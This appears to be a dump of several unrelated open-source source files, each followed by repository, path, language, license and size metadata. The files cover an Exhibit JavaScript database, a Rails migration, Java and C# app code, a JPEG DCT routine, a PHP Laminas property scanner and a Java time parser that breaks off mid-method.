SimileAjax.DateTime.parseIso8601DateTime(value); } if (value instanceof Date) { f(value.getTime()); } }); }; break; default: getter = function(item, f) { database.getObjects(item, p, null, null).visit(function(value) { if (typeof value != "number") { value = parseFloat(value); } if (!isNaN(value)) { f(value); } }); }; break; } this._rangeIndex = new Exhibit.Database._RangeIndex( this._database.getAllItems(), getter ); }; /*================================================== * Exhibit.Database._RangeIndex *================================================== */ Exhibit.Database._RangeIndex = function(items, getter) { pairs = []; items.visit(function(item) { getter(item, function(value) { pairs.push({ item: item, value: value }); }); }); pairs.sort(function(p1, p2) { var c = p1.value - p2.value; return (isNaN(c) === false) ? c : p1.value.localeCompare(p2.value); }); this._pairs = pairs; }; Exhibit.Database._RangeIndex.prototype.getCount = function() { return this._pairs.length; }; Exhibit.Database._RangeIndex.prototype.getMin = function() { return this._pairs.length > 0 ? this._pairs[0].value : Number.POSITIVE_INFINITY; }; Exhibit.Database._RangeIndex.prototype.getMax = function() { return this._pairs.length > 0 ? this._pairs[this._pairs.length - 1].value : Number.NEGATIVE_INFINITY; }; Exhibit.Database._RangeIndex.prototype.getRange = function(visitor, min, max, inclusive) { var startIndex = this._indexOf(min); var pairs = this._pairs; var l = pairs.length; inclusive = (inclusive); while (startIndex < l) { var pair = pairs[startIndex++]; var value = pair.value; if (value < max || (value == max && inclusive)) { visitor(pair.item); } else { break; } } }; Exhibit.Database._RangeIndex.prototype.getSubjectsInRange = function(min, max, inclusive, set, filter) { if (!set) { set = new Exhibit.Set(); } var f = (filter != null) ? function(item) { if (filter.contains(item)) { set.add(item); } } : function(item) { set.add(item); }; this.getRange(f, min, max, inclusive); return set; }; Exhibit.Database._RangeIndex.prototype.countRange = function(min, max, inclusive) { var startIndex = this._indexOf(min); var endIndex = this._indexOf(max); if (inclusive) { var pairs = this._pairs; var l = pairs.length; while (endIndex < l) { if (pairs[endIndex].value == max) { endIndex++; } else { break; } } } return endIndex - startIndex; }; Exhibit.Database._RangeIndex.prototype._indexOf = function(v) { var pairs = this._pairs; if (pairs.length == 0 || pairs[0].value >= v) { return 0; } var from = 0; var to = pairs.length; while (from + 1 < to) { var middle = (from + to) >> 1; var v2 = pairs[middle].value; if (v2 >= v) { to = middle; } else { from = middle; } } return to; }; //============================================================================= // Editable Database Support //============================================================================= Exhibit.Database._Impl.prototype.isNewItem = function(id) { return id in this._newItems; } Exhibit.Database._Impl.prototype.getItem = function(id) { var item = { id: id }; var properties = this.getAllProperties(); for (var i in properties) { var prop = properties[i]; var val = this.getObject(id, prop); if (val) { item[prop] = val }; } return item; } Exhibit.Database._Impl.prototype.addItem = function(item) { if (!item.id) { item.id = item.label }; if (!item.modified) { item.modified = "yes"; } this._ensurePropertyExists(Exhibit.Database.TimestampPropertyName); item[Exhibit.Database.TimestampPropertyName] = Exhibit.Database.makeISO8601DateString(); this.loadItems([item], ''); this._newItems[item.id] = true; this._listeners.fire('onAfterLoadingItems', []); } // TODO: cleanup item editing logic Exhibit.Database._Impl.prototype.editItem = function(id, prop, value) { if (prop.toLowerCase() == 'id') { Exhibit.UI.showHelp("We apologize, but changing the IDs of items in the Exhibit isn't supported at the moment."); return; } var prevValue = this.getObject(id, prop); this._originalValues[id] = this._originalValues[id] || {}; this._originalValues[id][prop] = this._originalValues[id][prop] || prevValue; var origVal = this._originalValues[id][prop]; if (origVal == value) { this.removeObjects(id, "modified"); this.addStatement(id, "modified", 'no'); delete this._originalValues[id][prop]; } else if (this.getObject(id, "modified") != "yes") { this.removeObjects(id, "modified"); this.addStatement(id, "modified", "yes"); } this.removeObjects(id, prop); this.addStatement(id, prop, value); var propertyObject = this._ensurePropertyExists(prop); propertyObject._onNewData(); this._listeners.fire('onAfterLoadingItems', []); } Exhibit.Database._Impl.prototype.removeItem = function(id) { if (!this.containsItem(id)) { throw "Removing non-existent item " + id; } this._items.remove(id); delete this._spo[id]; if (this._newItems[id]) { delete this._newItems[id]; } if (this._originalValues[id]) { delete this._originalValues[id]; } var properties = this.getAllProperties(); for (var i in properties) { var prop = properties[i]; this.removeObjects(id, prop); } this._listeners.fire('onAfterLoadingItems', []); }; Exhibit.Database.defaultIgnoredProperties = ['uri', 'modified']; // this makes all changes become "permanent" // i.e. after change set is committed to server Exhibit.Database._Impl.prototype.fixAllChanges = function() { this._originalValues = {}; this._newItems = {}; var items = this._items.toArray(); for (var i in items) { var id = items[i]; this.removeObjects(id, "modified"); this.addStatement(id, "modified", "no"); } }; Exhibit.Database._Impl.prototype.fixChangesForItem = function(id) { delete this._originalValues[id]; delete this._newItems[id]; this.removeObjects(id, "modified"); this.addStatement(id, "modified", "no"); }; Exhibit.Database._Impl.prototype.collectChangesForItem = function(id, ignoredProperties) { ignoredProperties = ignoredProperties || Exhibit.Database.defaultIgnoredProperties; var type = this.getObject(id, 'type'); var label = this.getObject(id, 'label') || id; var item = { id: id, label: label, type: type, vals: {} }; if (id in this._newItems) { item.changeType = 'added'; var properties = this.getAllProperties(); for (var i in properties) { var prop = properties[i]; if (ignoredProperties.indexOf(prop) != -1) { continue; } var val = this.getObject(id, prop); if (val) { item.vals[prop] = { newVal: val } }; } } else if (id in this._originalValues && !this.isSubmission(id)) { item.changeType = 'modified'; var vals = this._originalValues[id]; var hasModification = false; for (var prop in vals) { if (ignoredProperties.indexOf(prop) != -1) { continue; } hasModification = true; var oldVal = this._originalValues[id][prop]; var newVal = this.getObject(id, prop); if (!newVal) { SimileAjax.Debug.warn('empty value for ' + id + ', ' + prop) } else { item.vals[prop] = { oldVal: oldVal, newVal: newVal }; } } if (!hasModification) return null; } else { return null; } if (!item[Exhibit.Database.TimestampPropertyName]) { item[Exhibit.Database.TimestampPropertyName] = Exhibit.Database.makeISO8601DateString(); } return item; } Exhibit.Database._Impl.prototype.collectAllChanges = function(ignoredProperties) { var ret = []; var items = this._items.toArray(); for (var i in items) { var id = items[i]; var item = this.collectChangesForItem(id, ignoredProperties); if (item) { ret.push(item); } } return ret; } //============================================================================= // Submissions Support //============================================================================= Exhibit.Database._Impl.prototype.mergeSubmissionIntoItem = function(submissionID) { var db = this; if (!this.isSubmission(submissionID)){ throw submissionID + " is not a submission!"; } var change = this.getObject(submissionID, 'change'); if (change == 'modification') { var itemID = this.getObject(submissionID, 'changedItem'); var vals = this._spo[submissionID]; SimileAjax.jQuery.each(vals, function(attr, val) { if (Exhibit.Database.defaultIgnoredSubmissionProperties.indexOf(attr) != -1) { return; } if (val.length == 1) { db.editItem(itemID, attr, val[0]); } else { SimileAjax.Debug.warn("Exhibit.Database._Impl.prototype.commitChangeToItem cannot handle " + "multiple values for attribute " + attr + ": " + val); }; }); delete this._submissionRegistry[submissionID]; } else if (change == 'addition') { delete this._submissionRegistry[submissionID]; this._newItems[submissionID] = true; } else { throw "unknown change type " + change; } this._listeners.fire('onAfterLoadingItems', []); }
zepheira/exhibit
src/webapp/api/scripts/data/database.js
JavaScript
bsd-3-clause
45,905
class AddMeetingPhoneNumberToLunchLearns < ActiveRecord::Migration def change add_column :lunchlearns, :meeting_phone_number, :string end end
Orasi/onTap
db/migrate/20140702134246_add_meeting_phone_number_to_lunch_learns.rb
Ruby
bsd-3-clause
150
/* * To change this template, choose Tools | Templates * and open the template in the editor. */ package com.coderedrobotics.libs.dash; import java.util.Vector; /** * * @author laptop */ public class SynchronizedRegisterArray { private Vector registers; private Vector updateQueue; private Vector SRAListeners; public SynchronizedRegisterArray() { registers = new Vector(); updateQueue = new Vector(); SRAListeners = new Vector(); } public synchronized void setRegister(String name, double val) { Register register = new Register(name, val); int index = indexOf(register, registers); if (index != -1) { if (((Register) registers.elementAt(index)).val == register.val) { return; } ((Register) registers.elementAt(index)).val = register.val; } else { registers.addElement(register); } index = indexOf(register, updateQueue); if (index != -1) { ((Register) updateQueue.elementAt(index)).val = register.val; } else { updateQueue.addElement(register); } } public synchronized void addSRAListener(SRAListener listener) { SRAListeners.addElement(listener); if (registers.size() != 0) { listener.alertToSRAUpdates(); } } public synchronized boolean removeSRAListener(SRAListener listener) { return SRAListeners.removeElement(listener); } public synchronized Vector exchangeUpdates(Vector updates) { //Vector updatesToBePassedOn = new Vector(); for (int i = 0; i < updates.size(); i++) { Register register = ((Register) updates.elementAt(i)); if (indexOf(register, updateQueue) == -1) { //updatesToBePassedOn.add(register); int index = indexOf(register, registers); if (index != -1) { ((Register) registers.elementAt(index)).val = register.val; } else { registers.addElement(register); } } } for (int i = 0; i < SRAListeners.size(); i++) { SRAListener sral = (SRAListener)SRAListeners.elementAt(i); sral.alertToSRAUpdates(); } Vector updateQueue = this.updateQueue; this.updateQueue = new Vector(); return updateQueue; } private int indexOf(Register register, Vector list) { for (int i = 0; i < list.size(); i++) { if (((Register) list.elementAt(i)).name.equals(register.name)) { return i; } } return -1; } public synchronized void resynchronize() { updateQueue = new Vector(registers.size()); for (int i = 0; i < registers.size(); i++) { updateQueue.addElement(new Register( ((Register) registers.elementAt(i)).name, ((Register) registers.elementAt(i)).val)); } } public synchronized double get(String registerName) { int i = indexOf(new Register(registerName, 0), registers); if (i != -1) { return ((Register) registers.elementAt(i)).val; } return 0; } public synchronized String[] getRegisterNames() { String[] names = new String[registers.size()]; for (int i = 0; i < registers.size(); i++) { names[i] = ((Register) registers.elementAt(i)).name; } return names; } }
CodeRed2771/Sally
src/com/coderedrobotics/libs/dash/SynchronizedRegisterArray.java
Java
bsd-3-clause
3,562
/* +---------------------------------------------------------------------------+ | The Mobile Robot Programming Toolkit (MRPT) | | | | http://www.mrpt.org/ | | | | Copyright (c) 2005-2013, Individual contributors, see AUTHORS file | | Copyright (c) 2005-2013, MAPIR group, University of Malaga | | Copyright (c) 2012-2013, University of Almeria | | All rights reserved. | | | | Redistribution and use in source and binary forms, with or without | | modification, are permitted provided that the following conditions are | | met: | | * Redistributions of source code must retain the above copyright | | notice, this list of conditions and the following disclaimer. | | * Redistributions in binary form must reproduce the above copyright | | notice, this list of conditions and the following disclaimer in the | | documentation and/or other materials provided with the distribution. | | * Neither the name of the copyright holders nor the | | names of its contributors may be used to endorse or promote products | | derived from this software without specific prior written permission.| | | | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS | | 'AS IS' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED | | TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR| | PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS BE LIABLE | | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL| | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR| | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) | | HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, | | STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN | | ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE | | POSSIBILITY OF SUCH DAMAGE. | +---------------------------------------------------------------------------+ */ #define JPEG_INTERNALS #include "jinclude.h" #include "mrpt_jpeglib.h" #include "jdct.h" /* Private declarations for DCT subsystem */ #ifdef DCT_IFAST_SUPPORTED /* * This module is specialized to the case DCTSIZE = 8. */ #if DCTSIZE != 8 Sorry, this code only copes with 8x8 DCTs. /* deliberate syntax err */ #endif /* Scaling decisions are generally the same as in the LL&M algorithm; * see jfdctint.c for more details. However, we choose to descale * (right shift) multiplication products as soon as they are formed, * rather than carrying additional fractional bits into subsequent additions. * This compromises accuracy slightly, but it lets us save a few shifts. * More importantly, 16-bit arithmetic is then adequate (for 8-bit samples) * everywhere except in the multiplications proper; this saves a good deal * of work on 16-bit-int machines. * * Again to save a few shifts, the intermediate results between pass 1 and * pass 2 are not upscaled, but are represented only to integral precision. * * A final compromise is to represent the multiplicative constants to only * 8 fractional bits, rather than 13. This saves some shifting work on some * machines, and may also reduce the cost of multiplication (since there * are fewer one-bits in the constants). */ #define CONST_BITS 8 /* Some C compilers fail to reduce "FIX(constant)" at compile time, thus * causing a lot of useless floating-point operations at run time. * To get around this we use the following pre-calculated constants. * If you change CONST_BITS you may want to add appropriate values. * (With a reasonable C compiler, you can just rely on the FIX() macro...) */ #if CONST_BITS == 8 #define FIX_0_382683433 ((INT32) 98) /* FIX(0.382683433) */ #define FIX_0_541196100 ((INT32) 139) /* FIX(0.541196100) */ #define FIX_0_707106781 ((INT32) 181) /* FIX(0.707106781) */ #define FIX_1_306562965 ((INT32) 334) /* FIX(1.306562965) */ #else #define FIX_0_382683433 FIX(0.382683433) #define FIX_0_541196100 FIX(0.541196100) #define FIX_0_707106781 FIX(0.707106781) #define FIX_1_306562965 FIX(1.306562965) #endif /* We can gain a little more speed, with a further compromise in accuracy, * by omitting the addition in a descaling shift. This yields an incorrectly * rounded result half the time... */ #ifndef USE_ACCURATE_ROUNDING #undef DESCALE #define DESCALE(x,n) RIGHT_SHIFT(x, n) #endif /* Multiply a DCTELEM variable by an INT32 constant, and immediately * descale to yield a DCTELEM result. */ #define MULTIPLY(var,const) ((DCTELEM) DESCALE((var) * (const), CONST_BITS)) /* * Perform the forward DCT on one block of samples. */ GLOBAL(void) jpeg_fdct_ifast (DCTELEM * data) { DCTELEM tmp0, tmp1, tmp2, tmp3, tmp4, tmp5, tmp6, tmp7; DCTELEM tmp10, tmp11, tmp12, tmp13; DCTELEM z1, z2, z3, z4, z5, z11, z13; DCTELEM *dataptr; int ctr; SHIFT_TEMPS /* Pass 1: process rows. */ dataptr = data; for (ctr = DCTSIZE-1; ctr >= 0; ctr--) { tmp0 = dataptr[0] + dataptr[7]; tmp7 = dataptr[0] - dataptr[7]; tmp1 = dataptr[1] + dataptr[6]; tmp6 = dataptr[1] - dataptr[6]; tmp2 = dataptr[2] + dataptr[5]; tmp5 = dataptr[2] - dataptr[5]; tmp3 = dataptr[3] + dataptr[4]; tmp4 = dataptr[3] - dataptr[4]; /* Even part */ tmp10 = tmp0 + tmp3; /* phase 2 */ tmp13 = tmp0 - tmp3; tmp11 = tmp1 + tmp2; tmp12 = tmp1 - tmp2; dataptr[0] = tmp10 + tmp11; /* phase 3 */ dataptr[4] = tmp10 - tmp11; z1 = MULTIPLY(tmp12 + tmp13, FIX_0_707106781); /* c4 */ dataptr[2] = tmp13 + z1; /* phase 5 */ dataptr[6] = tmp13 - z1; /* Odd part */ tmp10 = tmp4 + tmp5; /* phase 2 */ tmp11 = tmp5 + tmp6; tmp12 = tmp6 + tmp7; /* The rotator is modified from fig 4-8 to avoid extra negations. */ z5 = MULTIPLY(tmp10 - tmp12, FIX_0_382683433); /* c6 */ z2 = MULTIPLY(tmp10, FIX_0_541196100) + z5; /* c2-c6 */ z4 = MULTIPLY(tmp12, FIX_1_306562965) + z5; /* c2+c6 */ z3 = MULTIPLY(tmp11, FIX_0_707106781); /* c4 */ z11 = tmp7 + z3; /* phase 5 */ z13 = tmp7 - z3; dataptr[5] = z13 + z2; /* phase 6 */ dataptr[3] = z13 - z2; dataptr[1] = z11 + z4; dataptr[7] = z11 - z4; dataptr += DCTSIZE; /* advance pointer to next row */ } /* Pass 2: process columns. */ dataptr = data; for (ctr = DCTSIZE-1; ctr >= 0; ctr--) { tmp0 = dataptr[DCTSIZE*0] + dataptr[DCTSIZE*7]; tmp7 = dataptr[DCTSIZE*0] - dataptr[DCTSIZE*7]; tmp1 = dataptr[DCTSIZE*1] + dataptr[DCTSIZE*6]; tmp6 = dataptr[DCTSIZE*1] - dataptr[DCTSIZE*6]; tmp2 = dataptr[DCTSIZE*2] + dataptr[DCTSIZE*5]; tmp5 = dataptr[DCTSIZE*2] - dataptr[DCTSIZE*5]; tmp3 = dataptr[DCTSIZE*3] + dataptr[DCTSIZE*4]; tmp4 = dataptr[DCTSIZE*3] - dataptr[DCTSIZE*4]; /* Even part */ tmp10 = tmp0 + tmp3; /* phase 2 */ tmp13 = tmp0 - tmp3; tmp11 = tmp1 + tmp2; tmp12 = tmp1 - tmp2; dataptr[DCTSIZE*0] = tmp10 + tmp11; /* phase 3 */ dataptr[DCTSIZE*4] = tmp10 - tmp11; z1 = MULTIPLY(tmp12 + tmp13, FIX_0_707106781); /* c4 */ dataptr[DCTSIZE*2] = tmp13 + z1; /* phase 5 */ dataptr[DCTSIZE*6] = tmp13 - z1; /* Odd part */ tmp10 = tmp4 + tmp5; /* phase 2 */ tmp11 = tmp5 + tmp6; tmp12 = tmp6 + tmp7; /* The rotator is modified from fig 4-8 to avoid extra negations. */ z5 = MULTIPLY(tmp10 - tmp12, FIX_0_382683433); /* c6 */ z2 = MULTIPLY(tmp10, FIX_0_541196100) + z5; /* c2-c6 */ z4 = MULTIPLY(tmp12, FIX_1_306562965) + z5; /* c2+c6 */ z3 = MULTIPLY(tmp11, FIX_0_707106781); /* c4 */ z11 = tmp7 + z3; /* phase 5 */ z13 = tmp7 - z3; dataptr[DCTSIZE*5] = z13 + z2; /* phase 6 */ dataptr[DCTSIZE*3] = z13 - z2; dataptr[DCTSIZE*1] = z11 + z4; dataptr[DCTSIZE*7] = z11 - z4; dataptr++; /* advance pointer to next column */ } } #endif /* DCT_IFAST_SUPPORTED */
bigjun/mrpt
libs/base/src/utils/jpeglib/jfdctfst.cpp
C++
bsd-3-clause
8,710
//********************************************************* // // Copyright (c) Microsoft. All rights reserved. // THIS CODE IS PROVIDED *AS IS* WITHOUT WARRANTY OF // ANY KIND, EITHER EXPRESS OR IMPLIED, INCLUDING ANY // IMPLIED WARRANTIES OF FITNESS FOR A PARTICULAR // PURPOSE, MERCHANTABILITY, OR NON-INFRINGEMENT. // //********************************************************* using System; using Windows.UI.Xaml; using Windows.UI.Xaml.Controls; using Windows.UI.Xaml.Media; using Windows.UI.Xaml.Navigation; using System.Globalization; using Windows.System.Display; // The Blank Page item template is documented at http://go.microsoft.com/fwlink/?LinkId=234238 namespace SystemFunctionalTest { /// <summary> /// Test menu item selection page. /// </summary> public sealed partial class MenuPage : Page { #region Constructor /// <summary> /// Initializes a new instance of the <see cref="MenuPage"/> class. /// </summary> /// public MenuPage() { this.InitializeComponent(); InitializeTestItemName(); } #endregion // Constructor #region Override methods /// <summary> /// Called when a page becomes the active page in a frame /// </summary> /// <param name="e">An object that contains the event data</param> protected override void OnNavigatedTo(NavigationEventArgs e) { base.OnNavigatedTo(e); // Activates a display request DisplayRequest displayRequest = new DisplayRequest(); displayRequest.RequestActive(); SetTestResultColor(); } protected override void OnNavigatedFrom(NavigationEventArgs e) { base.OnNavigatedFrom(e); } #endregion /// <summary> /// Initialize each test item name in test menu page. /// </summary> private void InitializeTestItemName() { // Set test item name for (UInt16 j = 0; j < App.TestCount; j++) { string name = "btnTest" + j.ToString(CultureInfo.CurrentCulture); string value = ""; object obj = FindName(name); Button button = obj as Button; if (button != null) { // Following executed if Button element was found. if (App.MenuItemName.TryGetValue(App.TestName[j], out value)) button.Content = value; else button.Content = ""; button.Visibility = Visibility.Visible; } } } /// <summary> /// Set test result color for each test item. /// Green color: Passed test item. /// Red color: Failed test item. /// No color: Not tested item. /// </summary> private void SetTestResultColor() { // Reset to Manual mode App.IsAuto = false; // Set buttons' Background & Forground color for Pass or Fail SolidColorBrush colorPass = new SolidColorBrush(Windows.UI.Colors.Green); SolidColorBrush colorFail = new SolidColorBrush(Windows.UI.Colors.Red); // Set pass/fail color to each test item for (int i = 0; i < App.TestCount; i++) { string name = "btnTest" + i.ToString(CultureInfo.CurrentCulture); uint nIndex = (uint)1 << i; object obj = FindName(name); Button button = obj as Button; if (button != null) { if ((App.TestStateValue & nIndex) != 0) // this test item had been tested { if ((App.TestResultValue & nIndex) != 0) button.Background = colorPass; else button.Background = colorFail; } } } } /// <summary> /// <see cref="Button.Click"/> event handler. /// Select test item. /// </summary> /// <param name="sender">Event sender.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void MenuPage_Click(object sender, RoutedEventArgs e) { Button btn = sender as Button; if (btn == null) return; if (btn.Name == "btnMain") { Frame.Navigate(typeof(MainPage)); return; } try { uint nIndex = Convert.ToUInt16(btn.Name.Substring(7), CultureInfo.CurrentCulture); Frame.Navigate(App.GetTestPageType(App.TestName[(int)nIndex]), App.GetTestPageParameter(App.TestName[(int)nIndex])); } catch (FormatException) { } catch (OverflowException) { } } } }
ms-iot/iot-utilities
SFT/SystemFunctionalTest/MenuPage.xaml.cs
C#
bsd-3-clause
5,159
var ColView = (function() { function notify(listeners, method, data) { var event = listeners[method] for(var i=0; i<event.length; i++) { event[i](data); } } function literal(data, view, listeners, stack) { function constructElement(id) { /*var elem = {}; elem._id_ = id; elem._isGroup_ = !isTip(id); for(var i=0; i<data._properties_.length; i++) { var property = data._properties_[i] elem[property] = data[property][id] } return elem;*/ return id; } function getChildren(id) { var start = data._metatree_[id]; var endIndex = id; var end = 0; do { endIndex++; if(endIndex < data._metatree_.length) end = data._metatree_[endIndex]; else end = data._count_; } while(endIndex<data._metatree_.length && data._metatree_[endIndex] == 0); var newElems = new Array(); var index = 0; for(var i=start; i<end; i++) { newElems[index] = constructElement(i); index++; } return newElems } // This is ugly because although the metatree is ordered, it is filled // with zeros which must be ignored. There is always a parent for a // target, so the index which has the closest number <= our target is // correct. function binarySearchParentIndex(target) { var upper = target - 1; var lower = 0; var index = 0; while(upper >= lower) { var mid = (upper + lower)/2 | 0; var pivot = data._metatree_[mid]; //We need to skip 0's if(pivot == 0) { var i = mid + 1; var p = pivot; //First search up, because we can disprove it while(i<=upper) { p = data._metatree_[i]; if(p != 0 || p > target) break; i++; } //If up is overshooting, search down if((p>target || p==0) && mid-1>=lower) { p = pivot; i = mid - 1; while(i>=lower){ p = data._metatree_[i]; if(p != 0) break; i--; } } mid = i; pivot = p; } if(pivot <= target && pivot != 0) { index = mid; if(pivot == target) { return index; } } if(pivot > target) { upper = mid - 1; } else { lower = mid + 1; } } return index; } //This could be a modified binary search in the future function getIndex(id) { for(var i=0; i<view.data.length; i++) { if(view.data[i] === id) return i; } return null; } view.isTip = function(id) { return id >= data._metatree_.length || data._metatree_[id] == 0; } view.isAGroupedByB = function(a, b) { var heritage = a; do { heritage = binarySearchParentIndex(heritage); }while(heritage > b) return heritage === b; } view.getParent = function(id) { return binarySearchParentIndex(id); } view.expand = function(id) { if(view.isTip(id)) return; var index = getIndex(id); if(index === null) return; var args = [index, 1].concat(getChildren(id)); Array.prototype.splice.apply(view.data, args); notify(listeners, "change", view.getView()); } view.collapse = function(id) { var index = getIndex(id); if(index === null) { return; } var group = binarySearchParentIndex(id); var start = index - 1; while(start >= 0 && view.isAGroupedByB(view.data[start], group)) { start--; } start++; var end = index + 1; while(end < view.data.length && view.isAGroupedByB(view.data[end], group)) { end++; } view.data.splice(start, end-start, constructElement(group)); notify(listeners, "change", view.getView()); } view.zoomIn = function(id) { stack.push(view.getView()); if(!view.isTip(id)) view.data = getChildren(id); else view.data = [id] console.log(stack) notify(listeners, "change", view.getView()); } view.zoomOut = function(id) { var n = stack.pop(); if(n){ view.setView(n) console.log(n) notify(listeners, "change", view.getView()); } } view.get = function(property, id, index) { if(index) return data[property][id][propertyIndex]; return data[property][id]; } view.getView = function() { var v = new Array(); for(var i=0; i<view.data.length; i++) { v[i] = view.data[i]; } return v; } view.setView = function(idList) { /*for(var i=0; i<idList.length; i++) { view.data[i] = constructElement(idList[i]); } if(view.data.length > idList.length) { view.data.splice(idList.length, idList.length-view.data.length) } */ view.data = idList; console.log(view.getView()) notify(listeners, "change", view.getView()); } var propertyIndex = null; view.setIndex = function(index) { propertyIndex = index; } view.getIndex = function() { return propertyIndex; } view.data = getChildren(0) return view; } function virtual(data, view, listeners) { function constructElement(id) { } view.expand = function(id) { } view.collapse = function(id) { } view.focus = function(id) { } view.getView = function() { } view.setView = function(idList) { } } ex = function constructor(data) { var view = {}; view.data = [{}]; var listeners = { "expand":[], "collapse":[], "focus":[], "change":[], "link":[], }; view.on = function(event, callback) { listeners[event].push(callback); } view.scanl = function(property, fun, accum, useIndex) { var scan = new Array(); scan.push(accum) for(var i=0; i<view.data.length; i++) { var t = fun(accum, view.get(property, view.data[i], useIndex)) scan.push(t); accum = t; } console.log(view.data.map(function(d){ return view.get(property, d, useIndex) })) console.log(scan) return scan; } if(data._type_ == "literal") return literal(data, view, listeners, []); if(data._type_ == "virtual") return virtual(data, view, listeners, []); return null; } return ex; })()
ebolyen/visn
assets/dataHandler.js
JavaScript
bsd-3-clause
8,129
<?php /** * @see https://github.com/laminas/laminas-code for the canonical source repository * @copyright https://github.com/laminas/laminas-code/blob/master/COPYRIGHT.md * @license https://github.com/laminas/laminas-code/blob/master/LICENSE.md New BSD License */ namespace Laminas\Code\Scanner; use Laminas\Code\Annotation; use Laminas\Code\Exception; use Laminas\Code\NameInformation; use function is_array; use function is_numeric; use function is_string; use function ltrim; use function reset; use function strpos; use function substr; use function trim; use function var_export; class PropertyScanner implements ScannerInterface { const T_BOOLEAN = 'boolean'; const T_INTEGER = 'int'; const T_STRING = 'string'; const T_ARRAY = 'array'; const T_UNKNOWN = 'unknown'; /** * @var bool */ protected $isScanned = false; /** * @var array */ protected $tokens; /** * @var NameInformation */ protected $nameInformation; /** * @var string */ protected $class; /** * @var ClassScanner */ protected $scannerClass; /** * @var int */ protected $lineStart; /** * @var bool */ protected $isProtected = false; /** * @var bool */ protected $isPublic = true; /** * @var bool */ protected $isPrivate = false; /** * @var bool */ protected $isStatic = false; /** * @var string */ protected $docComment; /** * @var string */ protected $name; /** * @var string */ protected $value; /** * @var string */ protected $valueType; /** * Constructor * * @param array $propertyTokens * @param NameInformation $nameInformation */ public function __construct(array $propertyTokens, NameInformation $nameInformation = null) { $this->tokens = $propertyTokens; $this->nameInformation = $nameInformation; } /** * @param string $class */ public function setClass($class) { $this->class = $class; } /** * @param ClassScanner $scannerClass */ public function setScannerClass(ClassScanner $scannerClass) { $this->scannerClass = $scannerClass; } /** * @return ClassScanner */ public function getClassScanner() { return $this->scannerClass; } /** * @return string */ public function getName() { $this->scan(); return $this->name; } /** * @return string */ public function getValueType() { $this->scan(); return $this->valueType; } /** * @return bool */ public function isPublic() { $this->scan(); return $this->isPublic; } /** * @return bool */ public function isPrivate() { $this->scan(); return $this->isPrivate; } /** * @return bool */ public function isProtected() { $this->scan(); return $this->isProtected; } /** * @return bool */ public function isStatic() { $this->scan(); return $this->isStatic; } /** * @return string */ public function getValue() { $this->scan(); return $this->value; } /** * @return string */ public function getDocComment() { $this->scan(); return $this->docComment; } /** * @param Annotation\AnnotationManager $annotationManager * @return AnnotationScanner|false */ public function getAnnotations(Annotation\AnnotationManager $annotationManager) { if (($docComment = $this->getDocComment()) == '') { return false; } return new AnnotationScanner($annotationManager, $docComment, $this->nameInformation); } /** * @return string */ public function __toString() { $this->scan(); return var_export($this, true); } /** * Scan tokens * * @throws \Laminas\Code\Exception\RuntimeException */ protected function scan() { if ($this->isScanned) { return; } if (! $this->tokens) { throw new Exception\RuntimeException('No tokens were provided'); } /** * Variables & Setup */ $value = ''; $concatenateValue = false; $tokens = &$this->tokens; reset($tokens); foreach ($tokens as $token) { $tempValue = $token; if (! is_string($token)) { list($tokenType, $tokenContent, $tokenLine) = $token; switch ($tokenType) { case T_DOC_COMMENT: if ($this->docComment === null && $this->name === null) { $this->docComment = $tokenContent; } break; case T_VARIABLE: $this->name = ltrim($tokenContent, '$'); break; case T_PUBLIC: // use defaults break; case T_PROTECTED: $this->isProtected = true; $this->isPublic = false; break; case T_PRIVATE: $this->isPrivate = true; $this->isPublic = false; break; case T_STATIC: $this->isStatic = true; break; default: $tempValue = trim($tokenContent); break; } } //end value concatenation if (! is_array($token) && trim($token) == ';') { $concatenateValue = false; } if (true === $concatenateValue) { $value .= $tempValue; } //start value concatenation if (! is_array($token) && trim($token) == '=') { $concatenateValue = true; } } $this->valueType = self::T_UNKNOWN; if ($value == 'false' || $value == 'true') { $this->valueType = self::T_BOOLEAN; } elseif (is_numeric($value)) { $this->valueType = self::T_INTEGER; } elseif (0 === strpos($value, 'array') || 0 === strpos($value, '[')) { $this->valueType = self::T_ARRAY; } elseif (0 === strpos($value, '"') || 0 === strpos($value, "'")) { $value = substr($value, 1, -1); // Remove quotes $this->valueType = self::T_STRING; } $this->value = empty($value) ? null : $value; $this->isScanned = true; } }
deforay/odkdash
vendor/laminas/laminas-code/src/Scanner/PropertyScanner.php
PHP
bsd-3-clause
7,002
package org.mafagafogigante.dungeon.date; import org.apache.commons.lang3.StringUtils; import org.jetbrains.annotations.NotNull; import java.util.ArrayList; import java.util.Arrays; import java.util.List; import java.util.Locale; public final class DungeonTimeParser { private DungeonTimeParser() { throw new AssertionError(); } /** * Parses a period string. * * <p>Such string should only contain pairs of positive numerical multipliers and time units separated by spaces, * "and", and commas. * * <p>For example: "2 years, 5 months, 8 days, and 20 hours". * * @param string a period string, not null * @return a Duration, not null */ @NotNull public static Duration parsePeriod(@NotNull String string) { List<String> tokens = cleanAndTokenize(string); if (tokens.size() < 2) { throw new IllegalArgumentException("string should provide at least one multiplier-unit pair."); } long milliseconds = 0; // Alternatively get a multiplier and a unit. Long multiplier = null; DungeonTimeUnit unit = null; for (String token : tokens) { if (multiplier == null) { try { multiplier = Long.parseLong(token); if (multiplier <= 0) { throw new InvalidMultiplierException("nonpositive multipliers are not allowed."); } } catch (NumberFormatException bad) { throw new InvalidMultiplierException(token + " is not a valid multiplier."); } } else { unit = parseDungeonTimeUnit(token); } if (unit != null) { milliseconds += multiplier * unit.milliseconds; multiplier = null; unit = null; } } return new Duration(milliseconds); } @NotNull private static DungeonTimeUnit parseDungeonTimeUnit(final String token) { String cleanToken; if 